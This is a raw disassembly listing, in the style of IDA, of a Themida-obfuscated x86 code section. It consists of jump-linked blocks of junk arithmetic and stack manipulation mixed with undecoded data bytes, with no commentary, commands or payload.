		push	4
		pop	esi
		add	edi, esi
		pop	esi
		push	edi
		push	dword ptr [esp+4]
		pop	edi
		pop	dword ptr [esp]
		pop	esp
		push	ecx
		jmp	loc_542041
; ---------------------------------------------------------------------------
		dw 487h
		dd 24248B24h, 0CA66E957h, 2489FFFFh, 0B29E924h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_53B23E:				; CODE XREF: Themida_:005373FBj
		sub	ebx, 747E1D20h
		pop	edi
		push	eax
		jmp	loc_53AD26
; ---------------------------------------------------------------------------
aISX		db 'ˆÜéêX',0
		align 2
aBi		db 'ë¼',0
		dw 404Ch
		dd 0A7E9DF01h, 0FF00005Eh, 34FF2434h, 1CA8E924h, 34FF0000h
		dd 319E924h, 815B0000h,	2C2h, 0E2895200h, 0FFD569E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_53B281:				; CODE XREF: Themida_:0053E33Ej
		xor	[esp], esi
		jmp	loc_53AC40
; ---------------------------------------------------------------------------
		db 5Ch,	89h, 4
		dd 798B824h, 0C1092DADh, 0E924048Bh, 1336h
; ---------------------------------------------------------------------------


loc_53B29C:				; CODE XREF: Themida_:0053DDBCj
		mov	ebp, ebx
		pop	ebx
		jmp	loc_542230
; ---------------------------------------------------------------------------
		dd 8246C29h, 0C1EDE95Dh, 4BDFFFFh, 1000000h, 60685DE9h
		dd 8900000Ch, 0D0E9241Ch, 0FF00000Bh, 589D1C77h, 9C240419h
		dd 0FFA7F0E9h, 48B66FFh, 0E2895224h, 0FFB389E9h, 66E830FFh
		dd 5AAD6859h, 0C890000h, 76E95324h, 33000038h, 14312414h
		dd 0CE5CE924h, 5156FFFFh, 0F1703BB9h, 0AADAE91Eh, 5A5DFFFFh
		dd 0D587D2F7h, 0BF0F581h, 0EB01C253h, 623DE9h, 0BAE95000h
		dd 5300003Eh, 996922BBh, 30B9E967h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_53B32A:				; CODE XREF: Themida_:00540DC7j
		add	ecx, 234722C8h
		mov	esi, [esp]
		jmp	loc_540615
; ---------------------------------------------------------------------------
		dd 0F780B4B7h, 6FC78059h, 98E9F888h, 5F000047h,	39E9D031h
		db 8, 2	dup(0)
; ---------------------------------------------------------------------------


loc_53B34F:				; CODE XREF: Themida_:0053C506j
		mov	ebx, esp
		jmp	loc_53F25C
; ---------------------------------------------------------------------------
		dw 0D328h
		dd 2EC81h, 89660000h, 66E92404h, 8BFFFFEFh, 0C481240Ch
		dd 4, 3E1DF181h, 0C5E97C2Fh
		db 0Ah,	2 dup(0)
; ---------------------------------------------------------------------------


loc_53B37B:				; CODE XREF: Themida_:00535B79j
		push	eax
		mov	eax, 4
		add	ebp, eax
		jmp	loc_539AA6
; ---------------------------------------------------------------------------
		dd 3217F4BEh, 0E9B9514Ch, 813D1C7Bh, 797B7BF1h,	0D5BA523Dh
		dd 0C1319A76h, 0C14206E2h, 0EA8102EAh, 36B907D0h, 1C68E281h
		dd 0E4E9378Ch, 8F00004Ah, 0A703E902h, 0DA89FFFFh, 0FFE98CE9h
		dd 241C87FFh, 73B9515Ch, 56286F29h, 316425BEh, 0A6EE816Fh
		dd 0C1372876h, 0C68104E6h, 5DF56F09h, 0C681EED1h, 0C15F50Bh
		dd 815EF109h, 7F39F3F1h, 0EFF5E97Bh
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_53B3FA:				; CODE XREF: Themida_:00541D41j
		xor	eax, 0D5A1E6E1h
		mov	edi, eax
		pop	eax
		add	ebx, 15893F94h
		add	ebx, edi
		sub	ebx, 15893F94h
		mov	edi, [esp]
		push	ecx
		mov	ecx, esp
		add	ecx, 4
		add	ecx, 4
		xchg	ecx, [esp]
		pop	esp
		jmp	loc_535AC1
; ---------------------------------------------------------------------------
		dd 2414F750h, 24B3E958h, 8B660000h, 8152240Ch, 4ECh, 24248900h
		dd 6859E9h, 0D4EF8100h,	0E9277700h, 0FFFFE640h,	0C1E95B54h
		dd 81000068h, 4C6h, 0BE40E900h,	0C8BFFFFh, 4C48324h, 0FFC0B60Fh
		dd 56518734h, 17D0B951h, 34BE4B18h, 311A3C3Fh, 240C8BCEh
		dd 8104C483h, 0E60074E6h, 0E953461Fh, 0FFFFECF2h, 0AB64E95Fh
		dd 0BF57FFFFh, 3C307598h, 0F75FFA89h, 0DB3CE9DAh, 0EA81FFFFh
		dd 785E6D13h, 0FFC347E9h, 1ECF81FFh, 81104951h,	8517A7C7h
		dd 1C7831Ah, 8102EFC1h,	8465CBC7h, 0FA9E9EBh, 295F0000h
		dd 0EC812404h, 4, 0E9241489h, 0FFFFFFB6h
; ---------------------------------------------------------------------------


loc_53B4E0:				; CODE XREF: Themida_:0053CA46j
		mov	[esp], esi
		jmp	loc_53657A
; ---------------------------------------------------------------------------
		dd 0C181E189h, 4, 4E981h, 0C870000h, 61EAE924h,	0E95A0000h
		dd 2A33h, 582434FFh, 0FFB317E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_53B50D:				; CODE XREF: Themida_:00540DACj
		add	edi, ebx
		add	edi, 221839BCh
		pop	ebx
		jmp	loc_53F457
; ---------------------------------------------------------------------------
		db 83h
		dd 3C8704C7h, 0F5E7E924h, 2DADFFFFh, 17FE38AAh,	0C63E952h
		dd 3CB90000h, 31648231h, 5904244Ch, 3CF3815Bh, 0E9648231h
		dd 0FFFFC67Eh, 33240C31h, 55C240Ch, 4, 0A3368h,	242C8900h
		dd 0F96206BDh, 80ED8155h, 0C10B5710h, 0B95102EDh, 5BE14543h
		dd 0F181D1F7h, 33C02622h, 0DB8DC181h, 0ED81D47Ah, 536C2E6Eh
		dd 4E9CD29h, 5B000001h,	0FFC2C3E9h, 2434FFFFh, 8324048Bh
		dd 8CE904C4h, 0B9000040h, 48355190h, 98E18149h,	816FDC29h
		dd 0EC266FE9h, 555DE913h, 0F74B0000h, 3357E9D3h, 8B660000h
		dd 68562404h, 4FE9h, 81242489h,	42404h,	34FF0000h, 89525E24h
		dd 91BD55E2h, 0C10DA94Ch, 0C58107EDh, 65B575FFh, 8108EDC1h
		dd 262ED7F5h, 0E5C5811Eh, 1E1BC01h, 0C2835DEAh,	0BB9AE904h
		dd 248BFFFFh, 4D36624h,	0B2E99C24h, 5AFFFFA4h, 0A5E9C831h
		dd 0E9000032h, 0FFFFA4A5h, 81585450h, 4ECh, 243C8900h
		dd 2DF2E953h, 0E9560000h, 0FFFFA6C6h, 80E5CD80h, 0DDE9A6F5h
		dd 55000022h, 0FFB96BE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_53B645:				; CODE XREF: Themida_:0053A725j
		push	esi
		mov	esi, 57CE2DEDh
		not	esi
		dec	esi
		jmp	loc_537C5A
; ---------------------------------------------------------------------------
		db 87h
		dd 505C240Ch, 3C0AE6B8h, 24EB3556h, 5403B59h, 929AD1F6h
		dd 0E958C701h, 7DAh, 19C568h, 24048900h, 8904EC83h, 0A7E9243Ch
		dd 66FFFFCCh, 66C8B60Fh, 32E99C51h, 81FFFFA4h, 6C2E6EC5h
		dd 0B0E5E953h, 34FFFFFFh, 2434FF24h, 0E65E959h,	72050000h
		dd 35985B9Ch, 2877EFCh,	95D5F795h, 12Dh, 6E8C100h, 15864235h
		dd 68FBE974h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_53B6C6:				; CODE XREF: Themida_:00535D63j
		add	esp, 2
		pop	ebx
		add	al, 8Eh
		sub	al, ch
		sub	al, 8Eh
		jmp	loc_53C586
; ---------------------------------------------------------------------------


loc_53B6D8:				; CODE XREF: Themida_:0053F0F0j
		mov	[esp], eax
		mov	eax, 24h
		jmp	loc_53C5E0
; ---------------------------------------------------------------------------
		db 58h,	29h, 47h
		dd 2434FF40h, 0E6895658h, 4C681h, 0B9510000h, 4, 8759CE01h
		dd 0E95C2434h, 0FFFFFDFCh, 24048B66h, 515F5457h, 4B9h
		dd 59CF0100h, 81E18951h, 4C1h, 71E95500h
		db 0EEh, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_53B727:				; CODE XREF: Themida_:00541FB6j
		mov	edi, 0FB95FA0Eh
		sub	edi, 66912C18h
		add	edi, ebp
		add	edi, 66912C18h
		push	dword ptr [esp]
		jmp	loc_54223D
; ---------------------------------------------------------------------------
		dw 0C381h
		dd 92595201h, 1C8BD831h, 4C48124h, 68000000h, 1F93h, 68240C89h
		dd 42337640h, 81240C8Bh, 4C4h, 0FFCB0100h, 81592434h, 4C4h
		dd 48B96800h, 0F8E90000h, 51000017h, 0DB4208B9h, 0BA52417Fh
		dd 3432A3Fh, 295AD129h,	0F5EAE9C8h, 0E958FFFFh,	0FFFFD257h
		dd 0D1B9514Eh, 31A54618h, 0BF5759CEh, 2D644929h, 0D2F7D787h
		dd 0EF81D787h, 837EA2DBh, 15FF901h, 0FBE981F1h,	8B4F1D13h
		dd 0C4812434h, 4, 0FFF35EE9h, 0C895CFFh, 2474FF24h, 240C8B04h
		dd 0EF29E956h, 0C483FFFFh, 0C2815A04h, 4, 3304EA83h, 14312414h
		dd 24143324h, 3351E9h, 0B6C38100h, 297A3F12h, 0D04CE9C3h
		dd 0B2E9FFFFh, 1FFFFA2h, 0FF6658C3h, 0ECA8E930h, 835AFFFFh
		dd 976804C4h, 89000071h, 5E92414h, 2800005Ch, 0EF7CE9F8h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_53B832:				; CODE XREF: Themida_:00539F8Dj
		or	eax, eax
		jz	loc_537795
		push	dword ptr [edi+28h]
		push	dword ptr [esp]
		pop	eax
		push	eax
		mov	eax, esp
		push	ebp
		jmp	loc_53C448
; ---------------------------------------------------------------------------


loc_53B84A:				; CODE XREF: Themida_:0053D108j
		pop	edx
		pop	edx
		add	edi, ecx
		add	edi, 7BCC4139h
		std
		push	621Fh
		mov	[esp], esi
		mov	esi, 6E6078EFh
		shr	esi, 8
		jmp	loc_53C07F
; ---------------------------------------------------------------------------
		dw 0C181h
		dd 4, 8704C183h, 0D1E9240Ch, 0FFFFFFD1h, 669D1C77h, 4196658h
		dd 36E99C24h
		db 0A2h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_53B88B:				; CODE XREF: Themida_:00541F7Aj
		mov	[esp], eax
		push	24h
		pop	eax
		jmp	loc_53B0E6
; ---------------------------------------------------------------------------
aRs		db 'Ré}:',0
		db 0
; ---------------------------------------------------------------------------


loc_53B89F:				; CODE XREF: Themida_:00539CD5j
		push	4
		pop	esi
		add	ebp, esi
		pop	esi
		xchg	ebp, [esp]
		mov	esp, [esp]
		movzx	ecx, al
		push	0D51h
		jmp	loc_53C5CA
; ---------------------------------------------------------------------------


loc_53B8BB:				; CODE XREF: Themida_:0053DCC2j
		pop	ebx
		add	ebp, 0FFFFFFFFh
		add	ebp, 12BE04CDh
		jmp	loc_53D1E3
; ---------------------------------------------------------------------------


loc_53B8CD:				; CODE XREF: Themida_:0053CA80j
		xor	eax, edx
		pop	edx
		push	591Ch
		jmp	loc_5384EA
; ---------------------------------------------------------------------------
		dw 0C381h
		dd 4, 0E9241C33h, 0FFFFE97Eh, 59CD3159h, 14FDB951h, 0FEE9588Ah
		db 44h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_53B8F7:				; CODE XREF: Themida_:0053977Bj
		push	ebp
		mov	ebp, 16D97559h
		shl	ebp, 1
		shl	ebp, 2
		add	ebp, 49345539h
		add	[eax], ebp
		pop	ebp
		jmp	loc_53A282
; ---------------------------------------------------------------------------
		dd 5A2434FFh, 5733E9h, 0B9515E00h, 4, 1F34EE81h, 0CE0146DDh
		dd 1F34C681h, 525946DDh, 0C63B43BAh, 60BB5302h,	55039F4Bh
		dd 5CDCE9h, 240C8900h, 5801E953h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_53B94A:				; CODE XREF: Themida_:00539841j
		mov	eax, 37923D2Eh
		sub	eax, 0C27BF1F2h
		add	ebx, eax
		pop	eax
		xor	edx, eax
		jmp	loc_5388EF
; ---------------------------------------------------------------------------
		dw 0F781h
		dd 5C6805D3h, 2899E781h, 0BA520B02h, 50201E7Eh,	815AD721h
		dd 2F5F27F7h, 0E7B8503Ah, 0E95D463Eh, 0FFFFBF96h
; ---------------------------------------------------------------------------


loc_53B984:				; CODE XREF: Themida_:005387A8j
		pop	edi
		jmp	loc_5415C5
; ---------------------------------------------------------------------------
		dw 34FFh
		dd 89525A24h, 0E95251E2h, 0FFFFF58Ch
; ---------------------------------------------------------------------------


loc_53B998:				; CODE XREF: Themida_:00537A5Bj
		sub	edx, eax
		pop	eax
		mov	ebp, edx
		pop	edx
		and	eax, ebp
		push	dword ptr [esp]
		jmp	loc_541B44
; ---------------------------------------------------------------------------
		dd 90E9C601h, 88000006h, 0EC8359C8h, 563AE904h,	0CF810000h
		dd 1C3E2D28h, 0FFF2FBE9h, 0F8315FFFh, 19AE9h, 1C33BA00h
		dd 0D4E94E04h
		db 0A5h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_53B9D7:				; CODE XREF: Themida_:0053F196j
		mov	ebp, [esp]
		add	esp, 4
		pop	edx
		jmp	loc_53DE50
; ---------------------------------------------------------------------------


loc_53B9E6:				; CODE XREF: Themida_:0053B0B6j
		sub	ebp, 66D4751Ch
		xor	ebp, 496C77CDh
		xor	ebp, 35F5F8Ch
		dec	ebp
		jmp	loc_53EDB4
; ---------------------------------------------------------------------------
aUhB		db 'UhÁB',0
		align 4
		dd 83242489h, 5D042404h, 4B951h, 0CD010000h, 5F70E959h
		dd 68570000h, 24FF5463h, 5EFC15Fh, 0D5FDF781h, 0FE89081Ch
		dd 81243C8Bh, 4C4h, 0A1C68100h,	21F6C4CCh, 34FF1C77h, 0CEE5E924h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_53BA46:				; CODE XREF: Themida_:00540375j
		add	edx, 4
		push	esi
		jmp	loc_536FA6
; ---------------------------------------------------------------------------
		dw 0C281h
		dd 53CC74FDh, 34FF0288h, 0F2D1E924h, 0ED81FFFFh, 4, 556A68h
		dd 242C8900h, 42474FFh,	24048F5Dh, 415CE9h, 3E98100h, 16FD47Bh
		dd 0DDA8E9E9h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_53BA8A:				; CODE XREF: Themida_:005363D1j
		sub	esp, 4
		mov	[esp], edx
		neg	dword ptr [esp]
		mov	edx, [esp]
		add	esp, 4
		not	edx
		not	edx
		jmp	loc_53A172
; ---------------------------------------------------------------------------
		dw 0DAF7h
		dd 3731C281h, 51530FE7h, 104D21B9h, 59CB8910h, 161DE9h
		dd 5B810400h, 0FFACB0E9h, 59F581FFh, 8955C8B2h,	0E3815DEBh
		dd 4FE87B18h, 195E9h, 2474FF00h, 24048B04h, 0FFC526E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_53BAE1:				; CODE XREF: Themida_:0053615Aj
		xor	esi, 1CD5480Bh
		jmp	loc_53DCE1
; ---------------------------------------------------------------------------
		dd 0C00070BDh, 0BFC5816Dh, 81FAAF03h, 0FE2936EAh, 81EA297Ch
		dd 0FE2936C2h, 242C8B7Ch, 0FFD84CE9h, 5EF029FFh, 140CE95Bh
		dd 0C7010000h, 243C8758h, 4306E9h, 0FE95A00h
		db 57h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_53BB27:				; CODE XREF: Themida_:005402A4j
		pop	esp
		and	edi, 396B164Dh
		jmp	loc_5402DB
; ---------------------------------------------------------------------------
aSzd		db '\é§D',0
		db 0
; ---------------------------------------------------------------------------


loc_53BB39:				; CODE XREF: Themida_:00540494j
		push	dword ptr [esp]
		pop	edx
		add	esp, 4
		push	esi
		jmp	loc_53EA18
; ---------------------------------------------------------------------------
		db 8Fh,	4, 24h
		dd 2706E9h, 4EC8100h, 89000000h, 38BE2434h, 8369667Fh
		dd 3CE904ECh, 8BFFFFF3h, 0C483243Ch, 2EB8104h, 0E955143Bh
		dd 0FFFFA04Ah, 0BDE9F029h, 89FFFFC3h, 0E9542404h, 1DE2h
		dd 8324148Bh, 402D04C4h, 17BA4D1h, 365AE9C7h, 8B660000h
		dd 89522414h, 4C281E2h,	81000000h, 2C2h, 0DF5EE900h, 34FFFFFFh
		dd 24048B24h, 81595451h, 4C1h, 3CE95200h, 8B00001Fh, 0CFE2424h
		dd 55E99C24h, 0C00004Dh, 2CE8D090h, 9BE952C1h, 89FFFFF0h
		dd 0DAE9240Ch
		db 9Eh,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_53BBE7:				; CODE XREF: Themida_:00541018j
		push	esp
		pop	edi
		jmp	loc_53DECE
; ---------------------------------------------------------------------------


loc_53BBEE:				; CODE XREF: Themida_:0053C5ECj
		mov	edx, 6DAD57DBh
		or	edx, 180A1F28h
		and	edx, 28692E84h
		jmp	loc_5404F7
; ---------------------------------------------------------------------------
		dd 8904EC83h, 30B82404h, 0C1434929h, 0E0C105E8h, 34E12503h
		dd 53482E16h, 3B457CBBh, 47F38126h, 29262945h, 0C5815BD8h
		dd 24CC156Dh, 0BB53C501h, 24CC156Dh, 585BDD29h,	2DCCE9h
		dd 8B5F5100h, 0C483240Ch, 7BF78104h, 0E936F90Fh, 2303h
		dd 42474FFh, 24048F5Ah,	635E95Ch, 1C330000h, 0DE9AE924h
		dd 0E3C1FFFFh, 0ABC38102h, 0F71A632Bh, 0BCCB81DBh, 0E9333C52h
		dd 547h, 240C8966h, 0C3807BB5h,	80EB00A8h, 1BE9A8EBh, 0BE00000Dh
		dd 33336D57h, 4602E6C1h, 28ACE9h, 4C48300h, 66515066h
		dd 662F0EB9h, 1922F181h, 0E9C88966h, 0FFFFCE60h, 8106E2C1h
		dd 8ED0FEEAh, 8BD601B1h, 0C4832414h, 24348704h,	243CD25Ch
		dd 9DEBE99Ch
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_53BCD6:				; CODE XREF: Themida_:0053614Cj
		push	ecx
		push	edx
		mov	edx, 68A76BCBh
		add	[esp+4], edx
		mov	edx, [esp]
		jmp	loc_537400
; ---------------------------------------------------------------------------
		db 8Bh,	2 dup(24h)
		dd 0E99CC83Bh, 0FFFF9DCDh, 0C181F101h, 20F62830h, 1A63E981h
		dd 335E3299h, 0C31240Ch, 852E924h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_53BD0E:				; CODE XREF: Themida_:0053C34Ej
		mov	esi, esp
		add	esi, 4
		push	ebp
		mov	ebp, 2
		add	esi, ebp
		jmp	loc_535C42
; ---------------------------------------------------------------------------


loc_53BD23:				; CODE XREF: Themida_:0053D1DEj
		sub	edx, 1
		shr	edx, 5
		and	edx, 2FDC2545h
		jmp	loc_53AE84
; ---------------------------------------------------------------------------
		db 55h
		dd 0EF5E9h
		db 0
; ---------------------------------------------------------------------------


loc_53BD3D:				; CODE XREF: Themida_:00539B6Bj
		xor	ebx, 1A12C9Fh
		add	ebx, 813AD8h
		add	eax, ebx
		pop	ebx
		push	ebp
		jmp	loc_53841C
; ---------------------------------------------------------------------------


loc_53BD52:				; CODE XREF: Themida_:0053F054j
		sub	esi, 2EB96AADh
		pop	eax
		sub	esi, 4
		xchg	esi, [esp]
		jmp	loc_541958
; ---------------------------------------------------------------------------
		db 81h
		dd 42404h, 815F0000h, 4C7h, 2662E900h, 8F590000h, 4DE92404h
		dd 5C000048h, 53242C89h, 0FFB0B3E9h, 9FE951FFh,	5DFFFFF7h
		dd 0E95B5853h, 3EA0h
; ---------------------------------------------------------------------------


loc_53BD9C:				; CODE XREF: Themida_:00541C64j
		shr	eax, 3
		push	edx
		mov	edx, 763E5F14h
		not	edx
		jmp	loc_540304
; ---------------------------------------------------------------------------
		dd 9C2424D2h, 0FF9D0CE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_53BDB5:				; CODE XREF: Themida_:00540E35j
		sub	dh, bl
		pop	ebx
		jmp	loc_53E087
; ---------------------------------------------------------------------------
		db 33h,	4, 24h
		dd 33240431h, 335C2404h, 14312414h, 24143324h, 0FFB167E9h
		dd 28F64FFh, 0FF9CE4E9h, 0FFCD31FFh, 0F2E92434h, 0AD000020h
		dd 15BB5357h, 6812132Ch, 80B470E0h, 0D7FE95Fh, 0DE200000h
		dd 83241C8Bh, 0CE8004C4h, 88506632h, 0BBE950E8h, 5E00000Ch
		dd 0E946851h, 0B1E916E5h
		db 27h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_53BE1B:				; CODE XREF: Themida_:0053EBFDj
		sub	eax, ebx
		pop	ebx
		add	eax, 0D7A603B0h
		jmp	loc_53744C
; ---------------------------------------------------------------------------


loc_53BE28:				; CODE XREF: Themida_:0053744Dj
		mov	esi, eax
		push	esi
		mov	ebp, [esp]
		add	esp, 4
		pop	esi
		mov	eax, [esp]
		add	esp, 4
		jmp	loc_53D80A
; ---------------------------------------------------------------------------
		dd 34FFCA89h, 0C11EE924h, 0B850FFFFh, 2, 8358C701h, 3C8904ECh
		dd 0EBE4E924h, 5158FFFFh, 0B9D0E953h, 431FFFFh,	24043324h
		dd 0FFFF12E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_53BE71:				; CODE XREF: Themida_:00541FD3j
		neg	ecx
		or	ecx, 7FC937AAh
		xor	ecx, 164044h
		push	ecx
		add	dword ptr [esp], 79453B65h
		jmp	loc_53FFA3
; ---------------------------------------------------------------------------
		dd 16E9535Ah, 0BB000027h, 20446DFEh, 68DBF7h, 0E9000000h
		dd 3905h, 256FBE56h, 40E91F43h,	58000050h, 7154ED81h, 0B2E91A14h
		dd 83FFFFEEh, 48702E8h,	0EA67E924h, 8956FFFFh, 4C681E6h
		dd 83000000h, 58E904EEh
		db 23h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_53BED7:				; CODE XREF: Themida_:0053622Fj
		xchg	ebx, edi
		not	ebx
		jmp	loc_5361D8
; ---------------------------------------------------------------------------
		dd 50E9E1F7h, 1FFFFCAh,	0D7C681EEh, 5D086050h, 4C681h
		dd 34330000h, 24343124h, 5C243433h, 9C2404FFh, 0FF9BB8E9h
		dd 2DD001FFh, 64EB7776h, 0FFEC0EE9h, 3EBF68FFh,	3C890000h
		dd 815F5424h, 4ECh, 24348900h, 5B7CBCBEh, 71C6811Eh, 81323930h
		dd 94AD29EEh, 3BC78150h, 16D6342h, 3BEF81F7h, 5E6D6342h
		dd 5302C783h, 0C381E389h, 4, 4EB81h, 1C870000h,	3C895C24h
		dd 2474FF24h, 243C8B04h, 0E904C483h, 273Ah, 50F468h, 24148900h
		dd 3388C688h, 3EE95B5Ah, 1FFFF9Bh, 40E95BD8h, 0BEFFFFA0h
		dd 623B64CEh, 0FFA79DE9h, 59CD89FFh, 0E95DE829h, 21Fh
; ---------------------------------------------------------------------------


loc_53BFA0:				; CODE XREF: Themida_:005401B8j
		mov	ecx, [esp]
		push	ecx
		mov	ecx, esp
		add	ecx, 4
		jmp	loc_53AE63
; ---------------------------------------------------------------------------
		db 56h,	81h, 0ECh
		dd 4, 0B9240C89h, 55A81C10h, 1CDDE9h
		db 0
; ---------------------------------------------------------------------------


loc_53BFC5:				; CODE XREF: Themida_:0053E72Bj
		pop	edx
		push	ebx
		sub	esp, 4
		mov	[esp], ebp
		jmp	loc_53D8CB
; ---------------------------------------------------------------------------


loc_53BFD2:				; CODE XREF: Themida_:00541C02j
		mov	ebx, [esp]
		add	esp, 4
		or	esi, 5F386D27h
		xor	esi, 4E2034E3h
		sub	ebp, esi
		pop	esi
		jmp	loc_53A86A
; ---------------------------------------------------------------------------
		db 66h
		dd 68240C8Bh, 5061h, 0E9240489h, 2853h,	0E914E941h, 0C680FFFFh
		dd 5AF0202Ch, 0FFFBC2E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_53C011:				; CODE XREF: Themida_:0053B0E8j
		mov	eax, [esp]
		sub	esp, 4
		mov	[esp], eax
		mov	eax, esp
		add	eax, 4
		jmp	loc_53AACE
; ---------------------------------------------------------------------------
		dw 0F380h
aSng		db '-énG',0
		align 2
		db '-',0
		dd 16BC806h, 60005D8h, 0FCE96BC8h, 58000005h, 0E9243487h
		dd 2B71h
; ---------------------------------------------------------------------------


loc_53C048:				; CODE XREF: Themida_:0053CF92j
		pop	edi
		shl	edi, 3
		and	edi, 4A4635FFh
		and	edi, offset dword_485578
		xor	edi, 46B3143Ah
		mov	edx, edi
		pop	edi
		or	esi, edx
		pop	edx
		push	4FF3h
		mov	[esp], ebx
		push	ebp
		mov	ebp, 1792A7Bh
		sub	ebp, 894CDB94h
		mov	ebx, ebp
		jmp	loc_53DE47
; ---------------------------------------------------------------------------


loc_53C07F:				; CODE XREF: Themida_:0053B865j
		xchg	ecx, esi
		xchg	ebx, ecx
		push	ebx
		jmp	loc_53E3B3
; ---------------------------------------------------------------------------
		db 58h,	83h, 0ECh
		dd 241C8904h, 6CD821BBh, 9E66E9C7h, 335CFFFFh, 2C31242Ch
		dd 242C3324h, 6624248Bh, 68240C8Bh, 7042h, 83241C89h, 8F5404ECh
		dd 97E92404h
		db 0E5h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_53C0BF:				; CODE XREF: Themida_:00540D40j
		and	ebx, 20C23FC9h
		add	ebx, 0DFFDC300h
		and	eax, ebx
		mov	ebx, [esp]
		add	esp, 4
		or	edx, eax
		shl	edx, 1
		push	63A2h
		mov	[esp], ecx
		push	4C21h
		mov	[esp], ebx
		push	ecx
		mov	ecx, 24h
		jmp	loc_53DE2F
; ---------------------------------------------------------------------------
		dw 0E981h
		dd 34EB98FCh, 0E959CA29h, 0FFFFC90Ch, 4C781h, 50530000h
		dd 3B5C36B8h, 58C3893Ch, 5C34F381h, 0C7813C3Bh,	7B3F7025h
		dd 87685653h, 5E71C77Bh, 47EE8146h, 81087617h, 0A2F5BC6h
		dd 0BCF6814Fh, 89D920C0h, 0E3C15EF3h, 0DEC38105h, 81F934D8h
		dd 0C802E0EFh, 81DF017Bh, 0C802E0C7h, 0DF015B7Bh, 3CDEEF81h
		dd 0EF81289Fh, 7B3F7025h, 0E9241C8Bh, 0FFFFA043h, 8B243487h
		dd 0D2E92424h, 29FFFFC7h, 0F316E9FAh, 5358FFFFh, 0C3FE13B3h
		dd 0F380DBF6h, 0C4E9806Eh, 28D1C180h, 0D1E980D9h, 24C3E9h
		dd 51DBA00h, 50055CFAh,	0E91AA809h, 25FCh, 971EFEB9h, 5A54525Dh
		dd 4C281h, 0B9510000h, 2CCB1465h, 1CE9D1F7h, 33000013h
		dd 9FE92404h, 81FFFFFCh, 0C0FCAAC3h, 442AE907h,	0B8500000h
		dd 133A33h, 5358C201h, 0FFAE15E9h, 48B66FFh, 4EAF6824h
		dd 2C890000h, 56E58924h, 4A2D49BEh, 0AE95200h
		db 25h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_53C1FB:				; CODE XREF: Themida_:00536807j
		push	dword ptr [esp+4]
		pop	ebp
		jmp	loc_53E454
; ---------------------------------------------------------------------------


loc_53C205:				; CODE XREF: Themida_:0053ACFBj
		push	dword ptr [esp+4]
		push	dword ptr [esp]
		mov	ecx, [esp]
		add	esp, 4
		add	esp, 4
		pop	dword ptr [esp]
		mov	esp, [esp]
		xor	ebx, eax
		push	dword ptr [eax]
		jmp	loc_535AC1
; ---------------------------------------------------------------------------
		dd 0C281D2F7h, 4EE50F4Eh, 0D8AEE951h, 0DE01FFFFh, 25EFBD55h
		dd 0C5830926h, 4D12E901h, 89500000h, 0CF8EE9E0h, 1487FFFFh
		dd 24248B24h, 0FFED2CE9h, 240483FFh, 1FEBE904h,	0BB530000h
		dd 282C56E0h, 4EC81h, 5AE90000h, 8BFFFFA8h, 0C4812404h
		dd 4, 0FFC0B60Fh, 9CE98734h
		db 0F0h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_53C283:				; CODE XREF: Themida_:00537B65j
		mov	[esp], eax
		not	dword ptr [esp]
		push	dword ptr [esp]
		jmp	loc_53EFC6
; ---------------------------------------------------------------------------
		db 5Dh,	0E9h, 6Dh
		dd 89FFFFF9h, 8CE9243Ch, 88FFFFD4h, 877C88D7h, 2434FF01h
		dd 0FFAE55E9h, 1C77FFFFh, 0D359669Dh, 0E99C2414h, 3121h
; ---------------------------------------------------------------------------


loc_53C2BC:				; CODE XREF: Themida_:0053EBA4j
		mov	ebx, [esp]
		add	esp, 4
		xor	ah, 0B4h
		xor	bl, ah
		pop	eax
		xor	al, bl
		pop	ebx
		push	edx
		mov	dh, 7Ch
		sub	dh, 1
		push	cx
		push	eax
		mov	al, 1Bh
		jmp	loc_53CCD1
; ---------------------------------------------------------------------------
		db 0B8h
		dd 3B3C05BCh, 50E92540h, 65E910EDh, 8F00003Ah, 0D6E92404h
		dd 89000037h, 0A9E92414h, 0FFFFFFD5h, 835F2434h, 143304C4h
		dd 24143124h, 50B3E9h, 0E9FE3100h, 5FCh, 5603EBC1h, 0FFD5F8E9h
		dd 4C781FFh, 81000000h,	4EFh, 243C8700h, 240C895Ch, 2434FF54h
		dd 4C48159h, 50000000h,	4B8h, 58C10100h, 0FFE2DCE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_53C349:				; CODE XREF: Themida_:0053C5BBj
		mov	bx, [esp]
		push	esi
		jmp	loc_53BD0E
; ---------------------------------------------------------------------------
		db 5Ch
		dd 0FFABF0E9h, 0E0ED81FFh, 1463103h, 0C3835DEBh, 99BDE902h
		dd 0A568FFFFh, 0E900003Fh, 4F8h
; ---------------------------------------------------------------------------


loc_53C374:				; CODE XREF: Themida_:005382F2j
		sub	eax, 310000h
		jmp	loc_53F040
; ---------------------------------------------------------------------------
		dw 8B54h
		dd 0C481241Ch, 4, 0FFB3AAE9h, 59C829FFh, 265F685Fh, 2C890000h
		dd 5D7DBD24h, 0EB014D88h, 54E9525Dh, 0BBFFFFA4h, 448A52A8h
